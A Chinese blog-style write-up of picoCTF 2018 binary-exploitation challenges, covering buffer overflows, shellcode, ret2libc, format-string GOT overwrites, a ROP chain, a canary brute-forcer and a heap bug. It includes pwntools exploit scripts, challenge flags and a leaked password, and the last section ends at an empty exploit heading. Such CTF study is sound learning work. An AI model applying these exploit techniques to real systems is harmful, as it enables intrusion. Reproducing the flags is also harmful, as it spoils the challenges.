内容简介:国庆期间得知了美国CMU主办的picoCTF比赛,出于最近做题的手感有所下降,借此比赛来复习下PWN相关的题型(题目的质量不错,而且题型很广,自我感觉相当棒的比赛)先检查一遍文件
前言
国庆期间得知了美国CMU主办的picoCTF比赛,出于最近做题的手感有所下降,借此比赛来复习下PWN相关的题型(题目的质量不错,而且题型很广,自我感觉相当棒的比赛)
buffer overflow 0
先检查一遍文件
➜ bufferoverflow0 file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped ➜ bufferoverflow0 checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow0/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
由于这题给了源码所以我们直接看源码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%sn", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input);// !stackoverflow } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.n"); return 0; }
不难看出传入的参数没有限制大小造成在vuln函数里面strcpy至buf时可能导致栈溢出,而这题只要将程序执行流劫持到sigsegv_handler函数就可以读flag,直接放exp
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') elf = ELF('./vuln') flag_addr = 0x804a080 puts_plt = elf.plt['puts'] buf = 'a'*0x18 payload = buf + 'aaaa' payload += p32(puts_plt) + 'aaaa' + p32(flag_addr) n = process(argv=['./vuln', payload]) n.interactive()
FLAG
picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}
buffer overflow 1
检查一遍文件
➜ bufferoverflow1 file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped ➜ bufferoverflow1 checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
全都没开,大胆猜测是要我们写shellcode,看源码确认一波
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%xn", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
emmmm……看起来是可以用ret2shellcode但感觉有点麻烦,所以就简单套路直接溢出后劫持返回地址为win函数直接getflag
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./vuln') elf = ELF('./vuln') buf = 0x28 win_addr = 0x080485CB payload = 'a'*buf + 'aaaa' + p32(win_addr) n.sendline(payload) n.interactive()
FLAG
picoCTF{addr3ss3s_ar3_3asy14941911}
leak-me
➜ leak-me file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c69a8024075d10a44fe028c410f5a06580bd3d82, not stripped ➜ leak-me checksec auth [*] '/home/Ep3ius/pwn/process/picoCTF2018/leak-me/auth' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
看源码分析一下程序的主要功能
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, 'n'); //name='a'*0x100 *end = NULL if (end != NULL) { *end = 'x00'; } strcat(name, ",nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = 'x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!n"); } return 0; }
我们可以看到存在一个很经典的栅栏错误类型的off-by-one漏洞,当name输入为‘a’*0x100 时栈上的结构会如下图所示
我们知道puts是根据’x00’来判断字符串的末端来输出,根据程序逻辑正常的情况下应该是像左图一样是以’n’为结尾的字符串,然后通过源代码43—47行来将’n’替换成’x00’使得puts(name)能正确输出输入的name,但如果输入了’a’*256的话,会导致最后一个’n’并没有读入而导致程序在puts(name)时会连带下面的password一起输出,这样我们就可以得到服务器上的password为
a_reAllY_s3cuRe_p4s$word_f85406
然后直接连服务器,输入长度小于256的name和leak出来的password就能直接拿到flag
FLAG
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_0f7ec3c0}
shellcode
➜ shellcode file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped ➜ shellcode checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/shellcode/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
emmmm……防护机制全没开而且题目还叫shellcode,应该错不了是写shellcode了
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; }
简单审计源码后发现还真是只要写个shellcode就没了,直接给exp
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./vuln') elf = ELF('./vuln') payload = asm(shellcraft.sh()) n.sendline(payload) n.interactive()
FLAG
picoCTF{shellc0de_w00h00_7f5a7309}
bufer overflow2
➜ bufferoverflow2 file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped ➜ bufferoverflow2 checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
审计一下源码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
我们很容易理解题目是要我们通过vuln函数里的栈溢出把执行流劫持到win函数,并且要使传入的参数为0xDEADBEEF和0xDEADC0DE,由于是32位程序,所以直接p32(0xDEADBEEF)+p32(0xDEADC0DE)构造ROP来getflag
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./vuln') elf = ELF('./vuln') buf = 'a'*0x6c win_addr = 0x80485CB payload = buf + 'aaaa' + p32(win_addr)+ 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE) n.sendline(payload) n.interactive()
FLAG
picoCTF{addr3ss3s_ar3_3asy30833fa1}
got-2-learn-libc
➜ got-2-learn-libc file vuln vuln: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped ➜ got-2-learn-libc checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/got-2-learn-libc/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
开了PIE,然而看到程序觉得开没开都没差的样子
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */ void vuln(){ char buf[BUFSIZE]; puts("Enter a string:"); gets(buf); puts(buf); puts("Thanks! Exiting now..."); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Here are some useful addresses:n"); printf("puts: %pn", puts); printf("fflush %pn", fflush); printf("read: %pn", read); printf("write: %pn", write); printf("useful_string: %pn", useful_string); printf("n"); vuln(); return 0; }
是的,就是一个简单的ret2libc的应用,通过printf出的地址我们可以得到偏移量,然后去计算system的实际地址,然后把useful_string输出的地址,也就是”/bin/sh”当作参数来构造ROP来执行system(‘/bin/sh’)
我们先连上题目环境看下文件链接的libc文件的路径
Ep3ius@pico-2018-shell-2:/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833$ ldd * vuln: linux-gate.so.1 => (0xf77c5000) libc.so.6 => /lib32/libc.so.6 (0xf75ff000) /lib/ld-linux.so.2 (0xf77c6000)
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./vuln') elf = ELF('./vuln') libc = ELF('/lib32/libc.so.6') buf = 'a'*0x9c system_sym = libc.symbols['system'] puts_sym = libc.symbols['puts'] n.recvuntil('puts: 0x') puts_addr = int(n.recvuntil('n'),16) print hex(puts_addr) n.recvuntil('useful_string: ') sh_addr = int(n.recvuntil('n'),16) print hex(sh_addr) system_addr = (puts_addr - puts_sym) + system_sym payload = buf + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr) n.sendline(payload) n.interactive()
➜ echooo file echo echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped ➜ echooo checksec echo [*] '/home/Ep3ius/pwn/process/picoCTF2018/echooo/echo' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; char flag[64]; char *flag_ptr = flag; // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); memset(buf, 0, sizeof(flag)); memset(buf, 0, sizeof(buf)); puts("Time to learn about Format Strings!"); puts("We will evaluate any format string you give us with printf()."); puts("See if you can get the flag!"); FILE *file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(flag, sizeof(flag), file); while(1) { printf("> "); fgets(buf, sizeof(buf), stdin); printf(buf); } return 0; }
审计完源码后发现在main函数末尾存在可多次利用的格式化字符串漏洞,而flag已经读入到栈上本来的解题思路应该是通过格式化字符串读栈上flag所在的位置来获得flag,但我的第一想法是直接改printf_got为system的实际地址拿shell
先测出来偏移为11
➜ echooo ./echo Time to learn about Format Strings! We will evaluate any format string you give us with printf(). See if you can get the flag! > aaaa%11$x aaaa61616161
然后通过p32(printf_got)+”%11$s”泄露出printf的实际地址来计算偏移以此得到system的实际地址
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') #n = process('./echo') n = remote('2018 shell 2.picoctf.com',57169) elf = ELF('./echo') libc = ELF('/lib32/libc.so.6') #printf_got = elf.got['printf'] printf_got = 0x804a00c printf_sym = libc.symbols['printf'] system_sym = libc.symbols['system'] payload = p32(printf_got)+'%11$s' n.recvuntil('>') n.sendline(payload) #leak printf_addr1 = n.recvuntil('n') printf_addr = u32(printf_addr1[5:9]) print hex(printf_addr) offset = printf_addr - printf_sym system_addr = offset + system_sym print hex(system_addr) payload_fmt = fmtstr_payload(11,{printf_got:system_addr}) n.recvuntil('>') n.sendline(payload_fmt) sleep(0.1) n.sendline('/bin/sh') n.interactive()
FLAG
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_e3d226b2}
authenticate
➜ authenticate file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped ➜ authenticate checksec auth [*] '/home/Ep3ius/pwn/process/picoCTF2018/authenticate/auth' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
审计下源码
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> int authenticated = 0; int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } void read_flag() { if (!authenticated) { printf("Sorry, you are not *authenticated*!n"); } else { printf("Access Granted.n"); flag(); } } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Would you like to read the flag? (yes/no)n"); fgets(buf, sizeof(buf), stdin); if (strstr(buf, "no") != NULL) { printf("Okay, Exiting...n"); exit(1); } else if (strstr(buf, "yes") == NULL) { puts("Received Unknown Input:n"); printf(buf); } read_flag(); }
简单的过一遍我们可以得到程序的大致流程,如果输入的字符串内带有”no”就退出程序,如果输入的字符串带有”yes”且没有”no”便进入unknown_input分支并触发了一个格式化字符串漏洞,然后程序继续执行进入read_flag()函数里,先进行一个判断,如果authenticated不为0就能调用flag函数来getflag,而authenticated是在一开始就全局定义为0了,这时我们能想到通过利用前面的格式化字符串来修改authenticated的值
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') #n = process('./auth') n = remote('2018shell2.picoctf.com',52398) elf = ELF('./auth') puts_got = elf.got['puts'] puts_sym = elf.symbols['puts'] authenticated_addr = 0x0804A04C payload = fmtstr_payload(11,{authenticated_addr:0xDEADBEEF}) n.sendline(payload) n.interactive()
FLAG
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}
got—shell?
➜ got-shell file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped ➜ got-shell checksec auth [*] '/home/Ep3ius/pwn/process/picoCTF2018/got-shell/auth' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
看一波源码
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> void win() { system("/bin/sh"); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[256]; unsigned int address; unsigned int value; puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?"); scanf("%x", &address); sprintf(buf, "Okay, now what value would you like to write to 0x%x", address); puts(buf); scanf("%x", &value); sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address); puts(buf); *(unsigned int *)address = value; puts("Okay, exiting now...n"); exit(1); }
开始还以为自己是不是C没学好,这题怎么可能这么简单输入两个地址就getshell了,结果发现还真的是。程序的逻辑大致为输入一个十六进制的地址,然后再输入一个十六进制的数值,然后把第一次输入的地址的值替换成输入的数值,我们可以很容易想到用win函数的地址去替换puts_got,这样在程序调用puts时就相当调用了win函数来getshell
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') #n = process('./auth') n = remote('2018shell2.picoctf.com',23731) elf = ELF('./auth') puts_got = elf.got['puts'] win_addr = 0x0804854B n.sendline(hex(puts_got)) sleep(0.1) n.sendline(hex(win_addr)) n.interactive()
FLAG
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}
rop chain
➜ ropchain file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=86b31b317beb6a0fac1439ef6b2a271e0132537e, not stripped ➜ ropchain checksec rop [*] '/home/Ep3ius/pwn/process/picoCTF2018/ropchain/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
看一下源码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFSIZE 16 bool win1 = false; bool win2 = false; void win_function1() { win1 = true; } void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.n"); } else { printf("Nope. Try a little bit harder.n"); } } void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!n"); } else { printf("You won't get the flag that easy..n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
审计过代码后我们可以得到程序中各个函数的功能和作用,像win_function1函数的作用为将全局变量win1的值赋为1,win_function2函数的作用是在win1非0且传入的参数为0xBAAAAAAD时将全局变量win2的值赋为1,flag函数的作用是当全局变量win1,win2都不为0且传入的参数为0xDEADBAAD时输出flag,这样我们就知道要通过vuln函数里的栈溢出来构造ROP去分别执行这三个函数getflag
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./rop') elf = ELF('./rop') func1 = 0x080485CB func2 = 0x080485d8 flag = 0x0804862B pop_ret = 0x080485d6 buf = 'a'*0x18 payload = buf + 'aaaa' payload += p32(func1)+p32(pop_ret) + p32(0) payload += p32(func2)+p32(pop_ret) + p32(0xBAAAAAAD) payload += p32(flag)+p32(pop_ret) + p32(0xDEADBAAD) n.recvuntil('>') n.sendline(payload) n.interactive()
FLAG
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}
buffer overflow 3
➜ bufferoverflow3 file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=49bf81f7f16a1c26cfbbb0a70bb89246fadc370e, not stripped ➜ bufferoverflow3 checksec vuln [*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow3/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
嗯,没开canary,看一波源码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 32 #define FLAGSIZE 64 #define CANARY_SIZE 4 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fgets(buf,FLAGSIZE,f); puts(buf); fflush(stdout); } char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n"); exit(0); } fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); } void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("*** Stack Smashing Detected *** : Canary Value Corrupt!n"); exit(-1); } printf("Ok... Now Where's the Flag?n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges int i; gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; }
打开审计后发现它自己实现了一个简易的Canary防护函数,我们针对canary常用的攻击方式中Stack Smashing Protector Leak
攻击可以立马否决,因为错误回显并没有输出avgr[0]这个必要条件。程序中canary的值是从一个内容不变的文本文档中读取的,所以我们可以通过写爆破脚本去把canary的具体内容输出出来。
通过ida我们可以得到canary插入在栈上0x10的位置,输入的首地址位于栈上0x30,
char buf; // [esp+28h] [ebp-30h] int canary; // [esp+48h] [ebp-10h]
我们运行程序测试一下
➜ bufferoverflow3 ./vuln How Many Bytes will You Write Into the Buffer? > 32 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Ok... Now Where's the Flag? ➜ bufferoverflow3 ./vuln How Many Bytes will You Write Into the Buffer? > 33 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa *** Stack Smashing Detected *** : Canary Value Corrupt!
确认canary插入的位置为0x20
bp.py
from pwn import* #canary = 'h_?=' canary = '' for i in range(4): for a in range(0xff): n = process('./vuln') n.recvuntil('> ') n.sendline('36') n.recvuntil('Input> ') payload = 'a'*0x20+canary+chr(a) #print chr(a) n.send(payload) try: n.recvuntil('*** Stack Smashing Detected ***') except: if canary=='': canary = chr(a) else: canary += chr(a) n.close() break else: n.close() print 'canary:',canary
通过爆破我们得到canary的值为”h_?=”实在是鬼畜,本以为是PICO的我还是太天真了
在知道canary的情况下,剩下的就是简单的栈溢出劫持程序执行流至win函数就能get flag了
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') n = process('./vuln') elf = ELF('./vuln') canary = 'h_?=' win_addr = 0x080486EB payload = 'a'*0x20+canary+'a'*(0x10-len(canary)+4)+p32(win_addr) n.recvuntil('> ') n.sendline('100') n.recvuntil('Input> ') n.sendline(payload) n.interactive()
echo back
➜ echo back file echoback echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0980ead6e67788ea13395e9bdd23f0fe3d0b2c8, not stripped ➜ echo back checksec echoback [*] '/home/Ep3ius/pwn/process/picoCTF2018/echo back/echoback' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
开了NX和Canary,审计下源码……然而这题并没有给,那就开ida看一下程序干了些什么
int __cdecl main(int argc, const char **argv, const char **envp) { __gid_t v3; // ST1C_4 setvbuf(_bss_start, 0, 2, 0); v3 = getegid(); setresgid(v3, v3, v3); vuln(); return 0; }
我们在vuln函数里发现存在一个格式化字符串漏洞,由于我太菜了没能想出能只用一次格式化字符串就能getshell的payload,所以就想先把puts_got改成了vuln函数的地址,让这个格式化字符串漏洞能多次触发。
我们审计过程序后能得到的大致思路为先测出偏移,修改puts_got为vuln函数地址使得漏洞能多次触发,然后通过p32(system_got)+fmt_offset来得到system的真实地址,再把system的真实地址写入printf_got,然后在下一轮循环中输入’/bin/sh’后printf(‘/bin/sh’)就相当执行了system(‘/bin/sh’)来getshell
➜ echo back ./echoback input your message: aaaa%7$x aaaa61616161 Thanks for sending the message!
EXP
from pwn import* context(os='linux',arch='i386',log_level='debug') #n = process('./echoback') n = remote('2018shell2.picoctf.com',37402) elf = ELF('./echoback') printf_got = elf.got['printf'] puts_got = elf.got['puts'] system_got = elf.got['system'] vuln_addr = 0x080485AB payload1 = fmtstr_payload(7,{puts_got:vuln_addr}) n.recvuntil('message:') n.sendline(payload1) leak_payload = p32(system_got)+'%7$s' n.send(leak_payload) n.recvuntil('message:') system_addr = u32(n.recv()[5:9]) print hex(system_addr) payload = fmtstr_payload(7,{printf_got:system_addr}) n.sendline(payload) n.interactive()
are you root?
➜ are_you_root file auth auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped ➜ are_you_root checksec auth [*] '/home/Ep3ius/pwn/process/picoCTF2018/are_you_root/auth' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
源码分析过一遍后,我们锁定了几个存在漏洞可能的分支
输入用的是fgets
if(fgets(buf, 512, stdin) == NULL) break;
typedef enum auth_level { ANONYMOUS = 1, GUEST = 2, USER = 3, ADMIN = 4, ROOT = 5 } auth_level_t; struct user { char *name; auth_level_t level; };
login分支
else if (!strncmp(buf, "login", 5)) { if (user != NULL) { puts("Already logged in. Reset first."); continue; } arg = strtok(&buf[6], "n"); if (arg == NULL) { puts("Invalid command"); continue; } user = (struct user *)malloc(sizeof(struct user)); if (user == NULL) { puts("malloc() returned NULL. Out of Memoryn"); exit(-1); } user->name = strdup(arg); printf("Logged in as "%s"n", arg); }
reset分支
else if(!strncmp(buf, "reset", 5)) { if (user == NULL) { puts("Not logged in!"); continue; } free(user->name); user = NULL; puts("Logged out!"); }
我们先登陆一个name=’a’*0x10,level=3的账号,下断点看一下堆里面的分布
gdb-peda$ parseheap addr prev size status fd bk 0x603000 0x0 0x410 Used None None 0x603410 0x0 0x20 Used None None 0x603430 0x0 0x20 Used None None gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 <-*name 0x0000000000000003 <-level 0x603430: 0x0000000000000000 0x0000000000000021 0x603440: 0x6161616161616161 <-name 0x6161616161616161 <-name gdb-peda$ 0x603450: 0x0000000000000000 0x0000000000020bb1 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 0x603480: 0x0000000000000000 0x0000000000000000
然后reset这个账号,再看下堆
gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 <-*name 0x0000000000000003 0x603430: 0x0000000000000000 0x0000000000000021 0x603440: 0x0000000000000000 0x6161616161616161 <- over_name gdb-peda$ 0x603450: 0x0000000000000000 0x0000000000020bb1 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 0x603480: 0x0000000000000000 0x0000000000000000
发现0x603440里的值已经置为NULL了,但0x603448部分的值却没被清0,又因为我们的name可以输入很长,并且在建立账号时并没有对level置0操作,所以如果我们去构造一个name使其可以覆盖到下一个堆的level位就可以做到下一个账号的level位可以任意修改
我们再建一个账号看看下一个账号的level位和前一个账号的name的相对位置
gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 0x0000000000000000 0x603430: 0x0000000000000000 <-name 0x0000000000000021 0x603440: 0x0000000000603460 0x0000000000000003 <-level
通过计算我们可以很容易得到name的起始位置和下一个账号的level位距离位8,那么我们直接构造’a’*0x8+p64(5)就能设好下一个账号的level位
EXP
